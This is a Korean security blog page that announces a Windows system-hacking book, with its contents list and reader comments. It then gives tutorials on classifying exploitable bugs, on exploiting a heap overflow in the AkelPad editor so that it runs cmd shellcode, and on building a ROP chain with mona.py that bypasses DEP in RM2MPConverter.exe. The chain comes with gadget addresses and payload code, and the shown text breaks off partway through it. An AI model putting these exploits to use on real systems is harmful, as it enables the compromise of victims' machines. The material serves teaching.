Exploit


까페에는 소식을 자주 올렸었는데...블로그에도 공개할 때가 된 듯 하다.


시스템 해킹이 진입 장벽이 높다고 느껴서(실제론 그렇게 높지 않지만)  공부해볼 시도조차 못했던 경우가 많았을 것이다.


혹은, 기초적인 시스템 해킹 공부는 했으나 중급 이상으로 넘어가기 위해 어떤 공부를 해야 할지 가이드가 부족한


경우도 있었을 것이다. 이러한 연유로, 시스템 해킹 초-중급자를 위한 집필을 마음먹고 시작한지 어언 1년..


드디어 윈도우 시스템 해킹 서적이 드디어 인쇄작업에 들어갔다!!







=================================================================================================

I. 개요
1. PC내부구조
1.1 컴퓨어의 언어
1.2 CPU와 레지스터
1.3 메모리구조
1.4 스택과 힙
1.5 함수 호출과 리턴
2. 어셈블리어 기본
2.1 어셈블리어 기초
2.2 어셈블리어 실습
3. 디스어셈블러와 디버거
3.1 디스어셈블러
3.2 디버거
4. 윈도우 실행파일 구조
4.1 PE파일 
4.2 DOS Header 
4.3 PE Header
4.4 Image Optional Header
4.5 Section Header
 
II. 취약점과 공격
1. 소프트웨어 취약점
1.1 취약점
1.2 취약점의 발견과 패치
2. 취약점분류
2.1 Memory Corruption 취약점분류
3. Exploit 분류
3.1 파일포맷 Exploit 
3.2 리모트(원격) Exploit
 
III. 쉘코드 원리와 작성
1. 쉘코드작성
2. 널바이트 제거
3. Universial 쉘코드
4. 포트바인딩쉘코드작성
5. 리버스 쉘코드작성
6. 쉘코드 인코딩
 
IV. Exploit 작성
1. 스택버퍼오버플로우 Exploit
1.1 Direct EIP Overwrite
1.2 Trampoline
1.3 SEH Overwrite
2. 힙 버퍼오버플로우 Exploit
2.1 함수포인터 Overwrite
2.2 Vtable Overwrite
3. 정수오버플로우 Exploit
3.1. 정수 오버플로우
3.2. 정수 오버플로우 Exploit 
4. Use-After-Free Exploit
4.1. Use-After-Free
4.2. HeapSpray
4.3. Use-After-Free Exploit
5. Exploit 작성 자동화
5.1 Metasploit 모듈 작성
5.2 mona 를 이용한 Exploit 작성
 
V. 방어와 우회기법
1. SafeSEH 기법
1.1 SafeSEH
1.2. Non SafeSEH 모듈 이용
1.3. 모듈이 로드되지 않은 메모리 영역 이용 
2. DEP 기법
2.1. DEP
2.2. RTL
2.3. Chaining RTL
2.4. ROP
2.5. ROP 자동화
3. ASLR 기법
3.1. ASLR 소개
3.2. BruteForce
3.3. Non ASLR 모듈 우회
3.4. 부분 Overwrite 
3.5. Info Leak
 
VI. 버그헌팅
1. 기본방법론
1.1 블랙박스 VS 화이트박스
1.2 버그 식별 및 평가
2. 소스코드 분석
2.1 소스코드 리뷰
2.2 소스코드 점검툴
3. 퍼징(Fuzzing)
3.1 Dumb 퍼징
3.2 Smart 퍼징
3.3 파일 퍼저 구현
4. 리버싱(Reversing)
4.1 고급 디버깅 기술
4.2 리버싱을 이용한 버그 헌팅
4.3 바이너리 디핑


=============================================================================
  내용 발췌
=============================================================================

# 바이너리 디핑을 이용한 버그헌팅














# IDA Python 을 이용한 취약점 분석 자동화





# 파일 포맷  퍼징 툴 구현




# 소스코드 오디팅




# Universal 쉘코드






  1. BlogIcon hackbyr0k 2016.01.14 09:22

    Wow!!! 현민씨 1년동안 서적 집필하느라 고생많으셨습니다.

  2. hackru 2016.01.15 11:09

    블로그를 쉽고 재미있게 써주셔서 책 내용도 많이 기대됩니다.
    언제쯤 구입이 가능할까요~~?

    • BlogIcon hyunmini 2016.01.15 12:54 신고

      안녕하세요 ^^

      지금 인쇄 중이니 조만간 가능할 듯 싶습니다~ㅎㅎ

  3. BlogIcon AhnMo 2016.01.15 19:25

    고생 많으셨습니다 ㅎㅎ
    책을 꼭 구매해서 보고싶습니다!!

  4. Exploit 2016.03.04 17:20

    감사합니다. 감사의 말씀 남기려고 블로그에 들렀습니다. 저같은 경우는 버그헌팅에 대해 정말 공부하고 싶었는데 외국 문서나 기존 버그헌터스 다이어리 책 등으로는 감이 영 잡히지 않았었습니다. 그래서 정말 진입장벽이 높게만 느껴졌었습니다. 그래도 너무 공부하고 싶은 분야라서 차마 손은 못놓고 진도는 안나가고...그러던 찰나에 이 책을 보게되었고 보자마자 바로 주문하였습니다. 책 내용 공부하다가 모르는 것이 있으면 염치 불구하고 자주 질문 드리겠습니다. 이 책이 저에게 한줄기 희망이 되길 바라며~ 다시 한번 감사의 말씀 드립니다.

  5. 대전초급자 2018.03.10 22:28

    안녕하세요 최근 시스템쪽 관심이 있어서 살펴보고 있는데 이해가 쏙쏙되네요~ 완독하고 후기도남기겠습니다 ㅎㅎ

  6. 절판되었네요 2019.01.08 14:30

    제가 이책을 너무 구매하고싶은데 너무 늦게 발견해서 절판되어버렸네요 ㅠㅜㅜ
    혹시 다른 구매방법 없을까요...?
    이제는 중고거래밖에 없는건가요...ㅠ

    • BlogIcon hyunmini 2019.01.18 11:05 신고

      조만간 개정판이 나올 예정이니 조금만 더 기다려주세요. 관심가져주셔서 감사합니다 ^^

  7. 개정판은 언제 2019.02.24 21:42

    저도 이 책을 사고 싶었지만, 절판입니다.
    개정판은 몇 월 쯤에 내실 생각입니까?
    아직 구체적인 출판 일정은 없는 건가요?







# Bug Hunting (1) - Exploitable 취약점 분류



취약점에는 다양한 종류가 있다. 


똑같은 crash 가 발생하더라도, 해당 버그는 Exploit 할수도, 불가능 할수도 있다. 


여기서 Exploit 이라 함은 코드 실행 흐름을 변경하여 원하는 코드를 실행할 수 있는, 즉 Code Execution 이 가능한가이다.


간단한 설명과 함께 분류해 보았다.





1. Memory Corruption


 - 대표적인 Exploit 유형으로, 주로 잘못된 함수 사용 등에 의해 발생




 1.1. Stack Buffer Overflow

  

    - 스택상의 메모리 영역을 침범하여 덮어쓰는 유형의 버그


    - 공격기법 : Direct EIP Overwrite, SEH Overwrite, ECX one byte Overflow, RTL(Return To Library), Fake EBP, Fake ESP, ROP


    - 방어기법 : Stack Guard, Stack Cookie, DEP/NX, ASLR



 1.2. Heap Buffer Overflow


    - 힙 메모리 영역을 침범하여 덮어쓰는 유형의 버그


    - 공격기법 : VFT Overwrite(Virtual Function Table Overwrite), Function Pointer Overwrite




 1.3. Format String Bug


    - 포맷 스트링을 사용하지 않은 잘못된 함수 사용으로 인하여 %n 등으로 특정 주소값을 덮어씌우는 공격기법


    - 공격기법 : dtors Ovewrite, Got Overwrite, RET Overwrite 




 1.4. Use-After-Free


    - Free 로 해제된 객체, 포인터를 사용하는 경우 발생하는 버그로, 최근 많이 발견되는 유형 중 한가지이다.(특히 웹브라우저)

   

    - 공격기법 : Heap Spray -> 정밀 Heap Spray, DEPS(엘리멘탈 속성 spray), JIT Spray 등



 1.5. Double Free


    - free() 로 이미 해제된 메모리를 한번 더 해제하려 할때 발생하는 버그




 1.6. Integer Overflow


    - 자료형마다의 경계값(최대,최소값) 차이점 등에 의해 발생하는 버그













가벼운 에디터 툴을 찾아보다가, akelpad 라는 툴을 찾게 되었다. 메모장과 비슷하지만 플러그인 등을 제공하여 


가벼우면서도 다양한 기능을 제공하고 있었다.  조금 사용하던중 취약점을 찾아보자 라는 생각이 문득 들어서 소스코


드를 다운받아 살펴보기 시작했다. 


결론부터 말하면 취약점을 찾았고, exploit 에 성공했다.  :)


http://akelpad.sourceforge.net/en/index.php









취약함수인 strcpy 위주로 검색을 해보니 역시나 존재했다. 쓰지 말라고 아무리 말해도 쓴다. ㅎㅎㅎ 





처음엔 간단한 메모리커럽션 으로 생각해서 쉽게 exploit 이 가능한 취약점이라 생각했다. 해당 소스는 설정파일인 


AkelPad.ini 에서 CmdLineBegin 과 CmdLineEnd 항목을 읽어올 때 복사할 크기를 지정하지 않는 strcpy 함수를 


사용하기 때문에 발생한다. 



하지만 이렇게 쉬울리가 없겠지....금방 몇가지 문제가 발생했다. -_-;


1) 설정파일이 UTF-16 인코딩이 되어 있음 

   -> 유니코드로 인식되어 00 바이트 추가 ( 47 -> 47 00 )


2) stack bof 가 아닌 heap bof 

   -> 함수 포인터나 기타 exploit 가능한 상황을 찾아야 함







다시 정확한 분석을 위해 디버깅을 진행하며 확인해 보았다. A, B 등의 문자를 채워넣으면 ntdll 의 특정 함수에서 


예외처리로 걸려서 넘어가질 않았고, "G" 로 하니 잘 넘어갔다. 아마 입력된 문자로 어떤 주소값이 만들어 지고, 이 주


소값이 제대로 된 주소가 아니면 ntdll 에서 에러를 뱉으며 종료되는 것 같았다. exploit 을 위해서는 어플리케이션으로


돌아가야 하므로 이것저것 찾아보다 보니 "G" 는 470047 인데, 이 주소값은 이 어플리케이션 모듈의 이미지 주소였


다. 


 어쨌든, 아래와 같이 간단히 python 코드를 제작하여 다시 디버거를 통해 실행시켜 보았다.





뚜둥~ CALL EAX  와 함께 00470047 주소를 호출하려 하고 있다. 이말은 EAX 가 내가 입력한 GGG... 에 의해 변경


이 되었고, 이 주소를 CALL 한다는 것은 이버그가  Exploitable 하다는 뜻이었다. 





좀더 자세히 살펴보면 CALL EAX 를 하기 전 특정 Heap 주소에서 어떤 값을 EAX 에 넣어주고 있다. 이 주소의 값이 


내가 입력한 GGG 에 덮어씌워 진 것이라 짐작할 수 있다. 




CALL [Reg] 형태의 명령은 보통 함수 포인터를 사용하는 코드이다. IDA 를 통해 자세히 살펴보면, 아래와 같이 해당 


주소는 MonitorFromPoint 함수의 주소를 얻어와 저장해 둔 메모리 주소이다.  bof 에 의해 이 값이 변조되어 실제


CALL EAX 가 이루어질 시점엔 EAX 가 특정 임의의 값으로 변조되어 있던 것이었다.






이제 취약점 분석은 끝났으니 간단히 exploit 을 제작해 보자. 




# exploit 을 위한 정보 


1) Unicode 인코딩 파일포맷 -> ascii 강제저장으로 우회


2) 47 00 47 00 코드도 Nop 코드이므로 그냥 47004700 사용 ( 정상적으로 이 버그 코드에 도달하기 위해서 47004700 을

    사용해야함. AAAA.. 등은 중간에 ntdll 에 잡아먹힘. )


3) 0x470047 주소는 내가 입력이 가능한 Buffer 임 -> 쉘코드 위치


4) 쉘코드는 간단한 cmd 실행 코드 사용


위를 종합한 payload 는 다음과 같다.



     1          2              3                  4

dummy + nop + shellcode + dummy(overwrite function pointer)


4 에 의해 function pointer 가 470047로 덮어씌워지고, 2로 점프한 뒤 3을 만나 쉘코드를 실행하게 될 것이다.


이제 직접 실행을 해보자.









CALL EAX 가 실행되는 시점에 EAX 는 0x470047 로 변경되어 있으며, 아래와 같이 해당 주소에는 미리 입력해둔 


Nop + Shellcode 가 존재한다.




CALL 0x470047




Nop Sled




ShellCode 실행






CMD !!  Exploit 성공~!! :)



















  1. 0x 2018.08.21 23:13

    안녕하세요, 현민님. 윈도우 시스템 해킹가이드 잘 읽고 있습니다. 한가지 여쭙고 싶은점이 있습니다.
    취약점 분석 및 익스플로잇 제작에 Immunity Debugger를 사용한다고 하셨는데요, 다른 디버거에 비해 취약점 분석에 있어 도움이 되는 기능이 있기 때문이신가요? 그렇다면 어떤 부가 기능이 있는지 궁굼합니다. 감사합니다.

    • BlogIcon hyunmini 2018.08.22 17:25 신고

      안녕하세요. 이뮤니티 디버거는 애초에 Exploit 개발 목적으로 만들어진 디버거이다 보니, 기본적으로 다양한 기능들을 제공해 줍니다. 코드조각을 찾아 준다던지, 힙을 살펴보는 기능이라던지요.)

      그리고 이뮤니티 디버거 스크립트 기능도 훌륭합니다.(파이썬), 가장 많이 사용하는 부가 기능은 mona.py 라는 모듈입니다. rop 자동화 등 다양한 기능들을 제공해 줍니다.


http://cafe.naver.com/secuholic/11714






앞의 글에서 기본적인 DEP 의 개념을 알아보았다. 이제 immunity debugger 와 유용한 몇가지 pycommand 를 통해


exploit 을 작성해 보자.




 실습 환경


 - OS Ver : 한글 Windows XP SP3

 - DEP : 예외목록 이외의 모든 프로세스에 DEP 적용 ( OptOut )

 - 디버거 : Immunity Debugger + mona.py

 - 취약프로그램 : RM2MPConverter.exe

 - Exploit 작성언어 : Python 2.7





# immunity debugger


 - ollydebugger 를 기반으로 python 으로 작성된 디버거

 - python shell 지원

 - immLib 을 통해 python 으로 조작 및 접근이 용이함

 - 간단한 코드만으로 후킹 가능

 - 안티디버깅 및 다양한 exploit 제작용 플러그인 제공


[그림1] immunity debugger


# pycommand


 - immunity debugger 의 plugin 개념으로 파이썬으로 만들어진 추가기능

 - 디버거가 제공하는 라이브러리를 활용하여 간단하게 제작 가능

 - command 창에 !명령어 방식으로 사용

    ex)  !list        // 현재 존재하는 pycommand 목록

          !scanpe   // 현재 로딩된 pefile 정보 scan


[ 그림2 ] pycommand 목록 ( ! list )



[ 그림3 ] scanpe 를 통한 파일 정보 스캔 (packing 여부 등)




# mona.py


  해커그룹 corelan 팀에서 만든 exploit 제작용 다용도 툴로, https://github.com/corelan/mona 에서 받을 수 있다.


  유용한 가젯들을 자동으로 찾아주며, bypass dep rop chain 까지 자동으로 만들어 준다. 하지만 정해진 명령에 


  대한 가젯을 찾을 수 없으면 실패하며(자동화 툴의 한계...) 수동으로 rop payload 를 구성해 주어야 한다. 

  

  어쨌든 exploit 을 제작하는데 필요한 다양한 기능들을 제공하므로, exploit 을 개발에 필수적인 툴이라 할 수 있겠다.


  참고로 이전에 발표된 pvefindaddr 를 개선하여 만들어진 것이며 최신 immunity debugger 에서는 pvefindaddr


  이 동작하지 않는다. 조금 분석해 보니 immunity debugger 의 API 명이 소문자로 바뀌었더라.(-.- 왜 그랬을까?)


  다운받은 mona.py 를 immunity debugger 의 하위에 있는 pycommands 폴더에 복사하면 된다.



[ 그림4 ] mona.py





이제 본격적으로 rop 를 통해 dep 를 우회하는 exploit 을 만들어 보자. rop 에 대한 간단한 개념은 이전 글을 통해 알


아 보았으니, 먼저 최종적으로 구성해야 하는 payload 를 다시 한번 확인해 보도록 하자.




# 최종 스택 구성


Low Address

 1

 AAAAAAAAA....

 버퍼를 채우기 위한 쓰레기값

 2

 Stack Pivot

 ROP 시작부분으로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 RETN

 - seh based exploit 의 경우 esp+xx 의 pivot 필요 

 3

 ROP1 for Save Stack Pointer

 현재 스택값을 저장 / 인자값 주소 계산 등에 필요

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 쉘코드 주소 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Addres





# 취약 프로그램 buffer 크기 확인


 - 먼저 버퍼 크기를 확인해 보도록 하자. pattern_create 를 통해 offset 을 확인해 보도록 하자.


    (이전 포스팅에서 여러번 했으니까 생략 -_-! 참고로 mona 에도 pattern_create 와 pattern_offset 기능이 있다. )






 확인 결과 위와 같이 26104 개의 dummy 값 뒤에 EIP 가 "BBBB" 로 덮어씌워 졌음을 확인할 수 있다.


 이제 offset 을 확인하였으니 본격적으로 ROP payload 를 구성해 보자.







# mona 를 활용한 ROP exploit 개발


 - 위에서 설치한 mona 를 활용하여 rop payload 를 구성해 보자.



1) stack pivot

 2

 Stack Pivot

 ROP 시작부분으로 가기 위한 값 

 - 일반적인 direct EIP overwrite 의 경우 RETN

 - seh based exploit 의 경우 esp+xx 의 pivot 필요 



  !mona find -s 0xc3   // RETN 명령을 찾는다. 


실행결과는 find.txt 파일에 저장된다. rebase 가 false 이고 aslr 이 false 이며 null 이 들어가지 않은 주소를 선택


하는 것이 좋다. ( -n 옵션을 주면 자동으로 제외된다. ) 현재 SEH 기반이 아닌 일반적인 direct EIP Overwrite 


exploit 이므로, 별도의 stack pivot 이 필요없다. 그냥 RETN 명령으로 다음 ROP 로 이어지도록 해주기만 하면


된다.



*find.txt 결과 


찾아진 주소값 중 하나를 사용하면 된다. 여기서는 0x100102dc 의 주소에 있는 RETN 을 사용할 것이다.


 


 

이제 본격적인 payload 구성을 위해 mona 를 이용해 gadget 목록을 만들자.



 !mona rop -n   // 로드된 모든 모듈에서 가젯들을 추출 



 !mona rop -n -m abc.dll // abc.dll 에서만 가젯 추출



모든 모듈에서 가젯을 만들어 내기보다는 rebase 나 aslr 이 적용되지 않은 모듈 중 선택하여 사용할


모듈에서만 가젯을 추출하는 것이 좋다. 우선 rop.txt 를 살펴보면 엄청나게 많은 가젯들이 들어 있을 것이다. 


rop_suggestion.txt 에는 각 명령을 위한 추천 가젯들이 추려져 있다. 이 목록을 참고해도 된다. 여기서는 


cygwin을 설치한 뒤 grep 명령을 통해 rop.txt 를 검색하는 방식으로 가젯을 찾을 것이다. 윈도우에도 findstr 이란 명


령어가 존재하니, 편한대로 하면 된다. :)



# jump to ROP1

 eip = struct.pack('<L', 0x100102dc) # retn 



현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc) # retn 

 3

 ROP1 for Save Stack Pointer

 현재 스택값을 저장 / 인자값 주소 계산 등에 필요

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 쉘코드 주소 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Address


* 참고

- !mona stackpivot 을 실행하면 esp 를 조정해 주는 가젯들만 찾을 수 있다.







2) ROP1 for Save Stack Pointer


이제 가장 먼저 할 일은 현재 스택 주소를 저장해 두는 것이다. 이는 차후에 VirtualProtect 및 인자값의 주소를


계산할때 사용할 포인터로 쓰인다. 스택주소를 저장하는 쉬운 방법은 "PUSH ESP, POP ~~, RETN" 가젯을


이용하는 것이다.  


$ grep -E "PUSH ESP.+POP E??" rop.txt 


검색 결과 다음과 같은 가젯을 찾을 수 있었다.


 PUSH ESP / AND AL,10 / POP ESI / MOV DWORD PTR DS:[EDX], ECX / RETN 


이 가젯은 현재 스택주소를 스택에 넣은 뒤 ESI 에 POP 한다. 이후 뒷부분은 크게 신경쓰지 않아도 된다.


단, 이 부분이 ESI 를 변형시킨다면 해당 가젯은 쓰면 안된다. 필요한 값이 변경되기 때문이다. 이는 모든 가젯에


해당된다. 가젯을 사용할 때에는 필요한 명령 외에도 여러 명령이 붙어 있을 수도 있다. 이러한 명령들이 기존의


필요한 레지스터의 값들을 변경시키지 않는 가젯을 잘 선별해야 한다. 이 스택 포인터는 차후에 VirtualProtect


주소가 들어있는 스택주소를 가리키는데 쓰이기도 하고, VirtualProtect 의 인자값을 만들어 줄 때에도 쓰인다. 그러므


로 이 주소값은 최소 2개 이상의 레지스터에 저장해 두면 더 수월하게 ROP 를 수행할 수 있다. 물론 하나로도 가능하


겠지만, 그만큼 더 많은 가젯이 필요하다. 당연한 말이지만 payload 가 복잡해서 좋을 것은 없다. 간단하게 가자.


이와 동일한 방식으로 찾아낸 가젯들을 이용해서 ESP 에 저장된 현재 스택주소를 EAX 와 EDI 에 저장했다.


중간중간의 padding 은 이전 가젯의 POP 으로 인해 ESP값이 증가하는 것을 맞춰주기 위함이므로 아무 값이나 


넣어두면 된다. 즉, 하나의 가젯에서는 PUSH 와 POP 의 쌍이 맞아야 하며, POP 이 많다면 그 아래에 padding 


값을 넣어주어야 한다.


# ROP 1 

# [ esp -> eax,edi ]

rop0 = struct.pack('<L',0x1002e892

            # PUSH ESP 

            # AND AL,10 

            # POP ESI 

            # MOV DWORD PTR DS:[EDX],ECX 

            # RETN   

rop0 += struct.pack('<L',0x1002627d

            # MOV EAX,ESI 

            # POP EDI 

            # POP ESI 

            # RETN 

rop0 += padding # for pop edi

rop0 += padding # for pop esi

rop0 += struct.pack('<L',0x100128f7

            # PUSH EAX 

            # POP ED

            # POP ESI 

            # POP EBX 

            # RETN

rop0 += padding # for pop esi

rop0 += padding # for pop ebx

rop_jump = struct.pack('<L',0x10015340

            # ADD ESP,18 

            # RETN / jump rop2 for param1 


위의 ROP 체인에서 필요한 명령어만 추리면 아래와 같다.



 * ROP1 for save stack pointer

PUSH ESP         // 현재 스택주소를 PUSH

POP ESI            // 스택주소를 ESI 에 저장 

MOV EAX, ESI   // ESI 를 EAX에 저장       [ esp -> eax ]

PUSH EAX         // EAX를 PUSH

POP EDI            // 스택주소를 EDI 에 저장 [ esp -> edi ]

ADD ESP,18       // ROP2 로 점프



여기까지 실행하면 아래와 같이 원하는 결과가 수행 되었음을 확인할 수 있다.






현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 VirtualProtect()주소, 실행 후 리턴값 및 함수의 인자값4개

 5

 ROP2 for RET(Shellcode)

 RET 값(쉘코드 주소) 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소

 (쉘코드)

High Address



3) VirtualProtect() + Parameters


 VirtualProtect() 함수의 주소와 함수 실행 후 리턴주소, 그리고 함수의 인자값으로 사용할 4개의 인자를 넣어주면 된


 다. 함수 주소는 kernel32.dll base 주소 + 1ad4 이며, 실습환경에서의 주소값은 0x7c801ad4 였다.(PC마다 조금씩 


 다를 수 있다. 실제로 이 주소는 기타 다른 문서의 주소값과 다르다. 아마 정품이 아닌 패치판이라 그런....듯 -_-; )


 파라미터값은 어차피 나중에 ROP 를 통해 동적으로 만들어 줄 것이므로 아무 값이나 넣으면 된다. 단, 마지막 인자값


 의 경우에는 쓰기가 가능한 주소를 넣어 주어야 한다. 다시 한번 VirtualProtect 함수의 인자값을 확인해 보자.


* VirtualProtect()   

 BOOL WINAPI VirtualProtect(

   _In_   LPVOID lpAddress,

   _In_   SIZE_T dwSize,

   _In_   DWORD flNewProtect,

   _Out_  PDWORD lpflOldProtect

 );

 


* Stack 구성

rop_virtual = struct.pack('<L',0x7C801AD4)    # VirtualProtect() Address

rop_ret = struct.pack('<L',0x01010101)

rop_lpaddr = struct.pack('<L',0x42424242)

rop_size = struct.pack('<L',0x43434343)

rop_newprotect = struct.pack('<L',0x44444444)

rop_writable = struct.pack('<L',0x10035005)






현재까지 payload 는 아래와 같다.

Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 RET 값(쉘코드 주소) 생성 및 입력

 6

 ROP3 for VirtualProtect Parameter1 

 Parameter1 값 생성 및 입력 

 7

 ROP4 for VirtualProtect Parameter2

 Parameter2 값 생성 및 입력

 8

 ROP5 for VirtualProtect Parameter3

 Parameter3 값 생성 및 입력

 9

 Jump to VirtualProtect()

 4 로 돌아감 

 10

 Nop + Shellcode 

 4에서 VirtualProtect() 실행 후 돌아올 주소(쉘코드)

High Address



4) ROP2 for RET(Shellcode)


 ROP2는 VirtualProtect() 함수 실행 후 이어서 실행될 값인 쉘코드 주소를 만들기 위한 것이다. 미리 저장해 두었던 


 스택 포인터 값에 ADD 명령을 수행하여 쉘코드가 존재할 주소값을 만들어 줄 것이다. 가젯의 수와 Nop 의 수를 감


 안하여 Add 값을 정하면 된다. Nop 위로만 떨어지면 되기 때문에 실제 쉘코드보다 앞이기만 하면 된다.



 * ROP2

rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4

rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param1 += padding # for retn 4

rop_param1 += padding # for retn 4

rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN   

rop_param1 += padding 

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  

rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN 

rop_param1 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN

rop_param1 += padding


위의 체인에서 중요한 가젯들을 살펴보자. 이 ROP를 통해서 실행하길 원하는 것은 쉘코드의 주소를 


VirtualProtect() 의 주소 바로 아래에 저장하는 것이다. ( 01010101 값이 들어있는 주소 )



rop_param1 = struct.pack('<L',0x7631982F) # XCHG ESI,EDI # DEC ECX # RETN 4 


이 가젯은 EDI 에 저장되어 있던 스택포인터 값을 ESI 에 저장한다.




rop_param1 += struct.pack('<L',0x1002dc4c) # ADD EAX,100 # POP EBP # RETN  


이 가젯은 EAX에 저장되어 있던 스택 포인터의 값을 0x100 증가 시킨다. 2회 반복하여 + 0x200 이 된다.


0x200 이 더해져서 nop 의 주소를 가리키게 되며, 이 nop 후에는 쉘코드가 존재한다.


 



rop_param1 += struct.pack('<L',0x77107d1d)  # INC ESI # RETN  


이 가젯은 ESI 에 저장된 스택포인터를 증가시켜서 01010101 이 저장된 주소 - 0x10 값을 만든다. -10 주소를 


만드는 이유는 값을 저장하는데 사용할 가젯이 ESI+10 이기 때문이다. 미리 10을 빼주어서 실제 값이 저장될 때


-10+10 이 되어 정확한 위치에 값을 쓰도록 하는 것이다. 조금 헷갈릴 수 있으나 직접 실행해보면 바로 알 수 


있을 것이다. 




rop_param1 += struct.pack('<L',0x77D94115)  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN 


이 가젯으로 EAX에 저장된 쉘코드 주소의 값을 [ESI+10], 즉 01010101 이 저장되어 있던 RET 주소에 쓰게 된다.


가장 중요한 개념이므로 확실히 이해하고 넘어가자. 앞으로도 이 가젯을 이용하여 파라미터값들을 쓰게 된다.







실행해보면 정확히 값을 덮어썼음을 확인할 수 있다.


Low Address

 1

 AAAAAAAAA....

 buffer = "A"*26104

 2

 Stack Pivot

 eip = struct.pack('<L', 0x100102dc)  

 3

 ROP1 for Save Stack Pointer

 rop0 = struct.pack('<L',0x1002e892) 
 rop0 += struct.pack('<L',0x1002627d)
 rop0 += padding
 rop0 += padding
 rop0 += struct.pack('<L',0x100128f7)
 rop0 += padding
 rop0 += padding
 rop_jump = struct.pack('<L',0x10015340)

 4

 VirtualProtect() Addr + Parameters

 rop_virtual = struct.pack('<L',0x7C801AD4)    

 rop_ret = struct.pack('<L',0x01010101)

 rop_lpaddr = struct.pack('<L',0x42424242)

 rop_size = struct.pack('<L',0x43434343)

 rop_newprotect = struct.pack('<L',0x44444444)

 rop_writable = struct.pack('<L',0x10035005)

 5

 ROP2 for RET(Shellcode)

 rop_param1 = struct.pack('<L',0x7631982F)

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x1002dc4c)

 rop_param1 += padding 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d)

 rop_param1 += struct.pack('<L',0x77107d1d) 

